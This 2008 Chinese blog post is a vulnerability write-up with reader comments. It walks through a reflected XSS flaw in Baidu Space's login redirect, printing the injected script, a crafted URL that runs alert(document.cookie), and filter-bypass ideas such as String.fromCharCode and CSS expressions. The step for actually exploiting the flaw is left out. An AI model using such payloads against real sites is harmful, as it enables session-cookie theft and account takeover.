百度首页 | 百度空间
 
查看文章
 
渗透百度空间登陆过程
2008-01-24 00:25

——余弦函数http://hi.baidu.com/ycosxhack)三更半夜原创

原理:在登陆百度空间的过程中,截断其正常JavaScript代码,并嵌入我们的恶意脚本来产生跨站。

危害:可以截获用户cookies,测试发现百度空间服务端没进行IP验证,由于我没进步一渗透,所以不敢说截获cookies就一定就拥有被攻击对象的帐户权限,如果是这样,则这就是严重危害之一。其余危害:已知的XSS结果都可能发生。但是爆发蠕虫就不可能了。

分析流程:

一、页面跳转

刚开始是想看看类似于这样的结构的页面跳转http://passport.baidu.com/?login&u=http://hi.baidu.com/ycosxhack。因为很多网站的页面跳转没进行同域验证,所以很可能会发生跳转跨站,我发现典型的跳转跨站有:

http://imgcache.qq.com/qzone/redirect.htm?http://hi.baidu.com/ycosxhack

http://login.xiaonei.com/Login.do?origURL=http://hi.baidu.com/ycosxhack

二、发现BUG

不过,百度空间的这个跳转跨站不会发生,大家自己试试就知道。在偶然的一次分析中发现了在百度空间登陆过程中出现的脚本错误,于是截获如下HTML文档(看其中的js代码注释):

<!--STATUS OK-->
<html><head><title>用户登录      </title>
<meta http-equiv=content-type content="text/html; charset=gb2312">
<META http-equiv='Pragma' content='no-cache'>
</head>
<body>

        <script>               
var url="./?<script>alert()</script>"
//url变量,值为https://passport.baidu.com/?login&u=./?<script>alert()</script>这个URL中的u的值
        url=url.replace(/^\.\//gi,"
http://passport.baidu.com/");
//将url中的./(全局且忽略大小写)替换为http://passport.baidu.com/,这样就防止了跳转跨站的发生
        location.href=url;
//同域跳转
        </script>

</body>
</html>

//提醒一下:大家将这段代码保存为html页面,打开就会发现一些问题,我就是沿着这些问题分析出这个新的XSS。

三、开始渗透

需要注意的事,这些js脚本是通过服务端动态生成的,所以我们无法在客户端屏蔽而绕过它的验证。不过我们可以恶意构造上面js代码中url变量的值,而达到嵌入我们恶意脚本的目的!注释中就说明了url的值为https://passport.baidu.com/?login&u=./?<script>alert()</script>这个URL中u的值。看我的构造:

https://passport.baidu.com/?login&u=./?"</script><script>alert();var x="

这样当我们在浏览器中运行这个url,然后登录我们的空间时,上面的js代码将变为:

        <script>               
var url="./?"</script><script>alert();var x=""
        url=url.replace(/^\.\//gi,"
http://passport.baidu.com/");
        location.href=url;
        </script>

呵呵,发现了没?<script>被分割为两个了,而且该封闭的都封闭了,不会出现脚本错误,并且我们期望的alert()也将正确执行!有这么简单?如果是这样,百度空间过滤系统就太脆弱了!其实一切的黑客过程都没你想象的那么简单!因为上面的js是理想化的结果,而真正的js将是:

        <script>               
var url="./?\"</script><script>alert();var x=\""
        url=url.replace(/^\.\//gi,"
http://passport.baidu.com/");
        location.href=url;
        </script>

这真令人沮丧!为什么?因为在我们的URL提交的过程中,所有的特殊字符都被百度空间服务端过滤了,过滤的状态为:转义符\加上特殊字符,这严重影响了我们嵌入恶意js的行为!无法突破以上js代码的双引号,则我们所有的构造字符串都将是死字符串!

四、突破限制

正在沮丧时,突然想到js的注释符是两个斜杠//。而斜杠/正是构成web URL的必须元素!那么百度空间服务端就不可能过滤斜杠/!于是完美的构造开始了:

https://passport.baidu.com/?login&u=./?"</script><script>alert(document.cookie)//

在浏览器中打开此链接,登陆我们的空间,跨站出现了!

弹出了我的cookies信息。这时从服务端返回的js代码为:

        <script>               
var url="./?\"</script><script>alert(document.cookie)//"
        url=url.replace(/^\.\//gi,"
http://passport.baidu.com/");
        location.href=url;
        </script>

看这js,多完美^^。最后的注释符//将尾部的双引号屏蔽了,呵呵,于是就出现了两个<script>标签体!我们的alert也就正确运行了。由于其他特殊字符都会被过滤,所以我们可以在js中用这个函数形式:eval(String.fromCharCode(十进制)),或者再嵌入一个<style>标签体,在css中使用expreesion表达式,或者嵌入swf元素,由于flash as可以与js进行通信,所以利用flash来进行跨站的例子也不少见。等等!方法很多,你就随意选择吧!

五、如何利用

略之!

最后:

后续的渗透就不进行了,没太多的时间,一大堆外文技术文档等着我去啃!这次渗透过程就是这样了,有什么疑问可以访问我的博客http://hi.baidu.com/ycosxhack。留言什么的。


类别:Script Attack | 添加到搜藏 | 浏览() | 评论 (23)
 
最近读者:
 
网友评论:
1
2008-01-24 00:27
说实话,我对渗透概念的范围有点模糊。哪有正确的定义?
 
2
2008-01-24 00:31
看下。。。
 
3
2008-01-24 00:57
呃~~这么晚了...你自己还占沙发...嘻嘻
 
4
2008-01-24 07:38
大半夜的余弦又来乱搞了……
昨晚不舒服我早早就睡了……
 
5
2008-01-24 08:17
24点出动。。。。。。
 
6
2008-01-24 08:49
你不去研究网络安全就可惜了。。呵呵~
是做个安分守己正向思维的开发者还是做个逆向突破的安全师呢。。。

哈哈哈。。有趣~~
 
7
2008-01-24 09:01
登陆的时候怎么看到这样的代码,怎么将自己的代码嵌入
 
8
2008-01-24 09:35
很好很强大!
 
9
2008-01-24 10:50
很强大 很好
 
10
2008-01-24 11:11
由于这些代码是服务端在登陆过程中返回的。如果跳转被截断就会停止跳转,这样就能发现错误的js,或者使用抓包工具也能抓取这样的代码。

而嵌入我们的代码,就在url的参数中嵌入。因为这样的参数会进服务端并且过滤之后返回。
 
11
2008-01-24 11:15
海豚:呵呵,我本来还决定毕业后从事web2.0程序的开发呢。现在我决定从事web2.0的安全应用了。这样更适合我。一举多得。
 
12
2008-01-24 13:01
恩。。。之前看过你博客里写了。。。
新年里大家都加油吧。。。一年比一年技术精进
既然选择了IT,就注定闲不住了——这是个不能打盹的领域呐。。。哈哈
哈哈~
 
13
2008-01-25 11:14
HOHO。。。
 
14
2008-01-25 16:06
俄……路过……
 
15
2008-01-25 16:13
您这最多也只能算是个 测试 跨站啥的

渗透是也算哟
 
16
2008-01-26 13:00
真的是很好很强大啊。。。这样也行。。。
 
17
2008-01-27 01:13
呵呵,渗透到底是什么样的概念?莫非一定要入侵到服务端去?或许我要给出利用方式,这到没问题,过两天给出。
 
18
2008-01-28 20:29
Cool~
 
19
2008-01-30 14:57
.....强人出现...
 
20
2008-01-30 14:57
加你好友了...小年快乐
 
21
2008-01-30 21:01
不是普通人。。。余弦。。。。
 
22
2008-01-31 19:31
兄弟 小心被和谐了
 
23
2008-02-18 01:00
渗透就是有一个攻击目标
然后用各种方式尝试入侵或攻击
绝对没错^_^
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu